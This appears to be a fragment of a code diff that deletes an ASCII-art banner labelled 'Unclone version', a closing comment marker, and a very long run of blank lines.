- .o888UU[[[/;:-. .o@P^ MMM^
- oN88888UU[[[/;::-. dP^
- dNMMNN888UU[[[/;:--. .o@P^
- ,MMMMMMN888UU[[/;::-. o@^
- NNMMMNN888UU[[[/~.o@P^
- 888888888UU[[[/o@^-..
- oI8888UU[[[/o@P^:--..
- .@^ YUU[[[/o@^;::---..
- oMP ^/o@P^;:::---..
- .dMMM .o@^ ^;::---...
- dMMMMMMM@^` `^^^^
-YMMMUP^
-
- Unclone version 😂🤣
-
- **/
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
